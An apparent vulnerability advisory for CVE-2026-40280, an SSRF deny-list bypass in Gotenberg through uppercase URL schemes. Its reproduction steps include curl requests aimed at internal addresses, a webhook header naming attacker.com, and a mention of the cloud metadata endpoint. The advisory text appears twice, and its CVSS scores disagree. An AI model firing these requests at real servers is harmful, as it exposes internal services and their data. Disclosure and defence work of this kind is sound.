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CVE-2026-40280NVD
Vulnerability Summary
## Vulnerability Details
**CWE**: CWE-918 - Server-Side Request Forgery (SSRF)
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.
## Summary
The default private-IP deny-lists for `--webhook-deny-list` and `--api-download-from-deny-list` use a case-sensitive regex (`^https?://`). Any uppercase URL scheme variant (`HTTP://`, `HTTPS://`, `Http://`) bypasses the pattern. Go's `net/url.Parse()` normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.
The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.
**Affected file/function**: `pkg/gotenberg/filter.go:FilterDeadline()`, `pkg/modules/webhook/webhook.go:42` (default regex), `pkg/modules/api/api.go:199` (default regex)
## Steps to Reproduce
```
1. Start Gotenberg:
docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8
2. Baseline — lowercase http:// is blocked (HTTP 403):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"
4. downloadFrom bypass (response content included in PDF):
curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
-F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed
```
## Impact
An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The `downloadFrom` SSRF can exfiltrate content from internal services that respond with `Content-Disposition` headers. In cloud environments, this could allow access to instance metadata services (e.g., `HTTP://169.254.169.254/latest/meta-data/`). This bypasses the same security control that was patched in CVE-2026-27018.
## Fix
Normalize the URL scheme to lowercase before passing to `FilterDeadline`, or compile deny-list regexes with the case-insensitive flag (`(?i)`).
### Vulnerable Code
```go
// See description for details
```
## Steps to Reproduce
1. Set up the application using the default configuration
2. See the vulnerability details above
## Impact
This vulnerability may allow an attacker to compromise the application.
**CWE**: CWE-918 - Server-Side Request Forgery (SSRF)
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.
## Summary
The default private-IP deny-lists for `--webhook-deny-list` and `--api-download-from-deny-list` use a case-sensitive regex (`^https?://`). Any uppercase URL scheme variant (`HTTP://`, `HTTPS://`, `Http://`) bypasses the pattern. Go's `net/url.Parse()` normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.
The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.
**Affected file/function**: `pkg/gotenberg/filter.go:FilterDeadline()`, `pkg/modules/webhook/webhook.go:42` (default regex), `pkg/modules/api/api.go:199` (default regex)
## Steps to Reproduce
```
1. Start Gotenberg:
docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8
2. Baseline — lowercase http:// is blocked (HTTP 403):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"
4. downloadFrom bypass (response content included in PDF):
curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
-F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed
```
## Impact
An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The `downloadFrom` SSRF can exfiltrate content from internal services that respond with `Content-Disposition` headers. In cloud environments, this could allow access to instance metadata services (e.g., `HTTP://169.254.169.254/latest/meta-data/`). This bypasses the same security control that was patched in CVE-2026-27018.
## Fix
Normalize the URL scheme to lowercase before passing to `FilterDeadline`, or compile deny-list regexes with the case-insensitive flag (`(?i)`).
### Vulnerable Code
```go
// See description for details
```
## Steps to Reproduce
1. Set up the application using the default configuration
2. See the vulnerability details above
## Impact
This vulnerability may allow an attacker to compromise the application.
CVSS v4.0 Base Metrics — Score 7.8
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)None
Integrity (Vulnerable System)None
Availability (Vulnerable System)None
Confidentiality (Subsequent System)High
Integrity (Subsequent System)Low
Availability (Subsequent System)None
CVSS v3.1 Base Metrics — Score 9.3
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityLow
AvailabilityNone
Affected & Patched Versions
- github.com/gotenberg/gotenberg/v8 <= 8.30.1
Not provided by Private for this CVE.
External References
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
- https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-40280
- https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
- https://github.com/advisories/GHSA-jjwv-57xh-xr6r
- https://github.com/advisories/GHSA-5q7p-7jgv-ww56